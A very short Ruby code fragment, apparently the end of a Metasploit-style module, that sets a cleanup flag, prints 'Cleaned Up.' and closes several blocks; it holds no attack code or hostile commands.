@cleanedup = true print_status 'Cleaned Up.' end end end end